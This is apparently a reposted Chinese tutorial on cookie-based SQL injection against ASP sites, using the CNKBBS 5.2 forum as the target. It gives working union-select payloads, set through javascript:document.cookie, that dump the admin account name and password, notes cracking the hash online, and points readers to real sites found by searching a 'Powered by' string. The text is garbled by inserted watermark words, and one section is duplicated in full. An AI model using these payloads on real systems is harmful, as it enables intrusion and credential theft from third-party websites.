coolie中转注入绕过防注详解----

cookies的注入 防黑网语句：alert(document.cookie="id="+escape("这就是asp？ id=xx后面xx代表的数值) and (这里是注入 防黑网攻击代码)"))；
这儿用到了javascript语言的知识，我把这语句的意思分解如下，以便大家理解：
1："alert()"显示信息对话框的alert()方法，它生成的是一个独立的小窗口，称作对话框，用来显示一条信息和一个按钮.(我们在跨站中常用到)
2："document.cookie"我们在处理cookie时，javascript将它保存为document对象的一个属性，其属性名称是cookie，利用这个属性，我们可以创建和读取cookie数据，在程序中可以使用："alert(document.cookie)"调用当前页面的cookie数据项值.在我们启动浏览器打开页面后，如果存在相应的cookie，那么它被装入到document对象的cookie属性中，document.cookie属性采用name=value对应方式保存各个cookie数据项值.document(文档)对象表示在浏览器里显示的HTML(向页面输出数据)，cookie属性是允许读写HTTP的cookie；字符串类型
4：escape()函数；它将字符串中所有的非字母字符转换为用字母数字表示的等价字符串，具有编码字符串的功能.一般情况下，cookie通常由服务器www.zzfhw.com端的程序通过HTTP请求和响应头发送给浏览器，但是，利用javascript，可以在本地浏览器中设置cookie格式：name=value的属性是指定cookie数据项的名称，value是该名称对应的值，它是一个字符串，也可是由一系列字符组成，name和value中不能包含分号，逗号及空白，(50"and 1=1")有分号，逗号及空白，所以我们要用到escape()函数对他们进行编码
上面整句的意思大家都明白了吧，就是设置调用当前创建的cookie数据项值，在设置cookie时，它们首先保存在浏览器的内存中，退出浏览器时，才能被写入到硬盘中.(这就是在下面操作中为什么在退出后，再输入链接的地址原因)
最后我们来测试下，利用步骤：
1：打开在本地机子上架设的中网景论坛：注册一个用户，我们就会收到管理员发来的一条短信息，我们打开短信息的链接(注意这儿的参数id值)
2：把浏览器的URL清空，输入"alert(document.cookie="id="+escape("相应参数id值 and 1=1"))；之后会弹出一个框框，
3：再次输入：http：//127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp？username=论坛管理员(返回正常的页面，说明我们绕过了SQL防注入 防黑网程序了)
3：再输入：alert(document.cookie="id="+escape("1 and 1=2"))；然后再输入：http：//127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp？username=论坛管理员(时间和内容都没有显示了，说明我们可以进行注入 防黑网了)
4：通过查看系统数据库，得知cnk_users_RxMsg 表里有8个字段，Cnk_Admin表是存放管理员资料的，其中AdminName，AdminPassword字段分别对应的是账号和密码，我们使用联合查询语句，再输入：alert(document.cookie="id="+escape("1 and 1=2 union select 1，2，3，4，5，6，7，8 from Cnk_Admin"))然后把地址栏清空，输入http：//127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp，可经看到显示了数字4和5
5：再次把地址栏清空，输入：alert(document.cookie="id="+escape("1 and 1=2 union select 1，2，3，AdminName，AdminPassword，6，7，8 from Cnk_Admin"))，提交后，清空地址栏，输入：http：//127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp？username=论坛管理员，这样我们就在页面上看到管理员的密码和账号了
6：把得到的密码放入http：//www.cmd5.com网站查询，得知管理员的明文密码是admin，在网站的首页我们就可进行登录后台了，我们也可利用关键字"Powered by CNKBBS2007 （5.2）"去网上找使用这系统的网站，(不过不是很多啊)大家去练习下手工的注入 防黑网吧，可别搞在破坏哟！不过在使用这类注入 防黑网时，它需要两次手动操作才能完成，这也是容易出错的地方，可要细心才行。
我们想知道有没有Cookies问题(也就是有没有Request("XXX")格式问题),
先用IE输入
http://www.***.com/1.asp
加载网页,显示不正常（没有输参数的原因)
之后在IE输入框再输入
javascript:alert(document.cookie="id="+escape("123"));
按回车,你会看到弹出一个对话框 内容是: id=123
之后，你刷新一个网页，如果正常显示，表示是用
Request("ID") 这样的格式收集数据~~~~,这种格式就可以试Cookies注入 防黑网了

在输入框中输入
javascript:alert(document.cookie="id="+escape("123 and 3=3"));
刷新页面,如果显示正常,可以再试下一步(如果不正常,就有可能也有过滤了)

javascript:alert(document.cookie="id="+escape("123 and 3=4"));刷新一下页面
如果不正常显示，这就表示有注入 防黑网了~~~

如果程序员是用
Request.QueryString
或
Request.Form
收集数据的话，是无法利用Cookies绕过防注入 防黑网系统进行注入 防黑网的，因为服务程序是直截从GET或POST中读取数据的，Cookies是否有数据,WEB服务器www.zzfhw.com是不理的,所以就无法利用了！~
我们想知道有没有Cookies问题(也就是有没有Request("XXX")格式问题),
先用IE输入
http://www.***.com/1.asp
加载网页,显示不正常（没有输参数的原因)
之后在IE输入框再输入
javascript:alert(document.cookie="id="+escape("123"));
按回车,你会看到弹出一个对话框 内容是: id=123
之后，你刷新一个网页，如果正常显示，表示是用
Request("ID") 这样的格式收集数据~~~~,这种格式就可以试Cookies注入 防黑网了

在输入框中输入
javascript:alert(document.cookie="id="+escape("123 and 3=3"));
刷新页面,如果显示正常,可以再试下一步(如果不正常,就有可能也有过滤了)

javascript:alert(document.cookie="id="+escape("123 and 3=4"));刷新一下页面
如果不正常显示，这就表示有注入 防黑网了~~~

如果程序员是用
Request.QueryString
或
Request.Form
收集数据的话，是无法利用Cookies绕过防注入 防黑网系统进行注入 防黑网的，因为服务程序是直截从GET或POST中读取数据的，Cookies是否有数据,WEB服务器www.zzfhw.com是不理的,所以就无法利用了！~
原文地址:http://www.zzfhw.com/wenzhang/html/fangheishow-950.html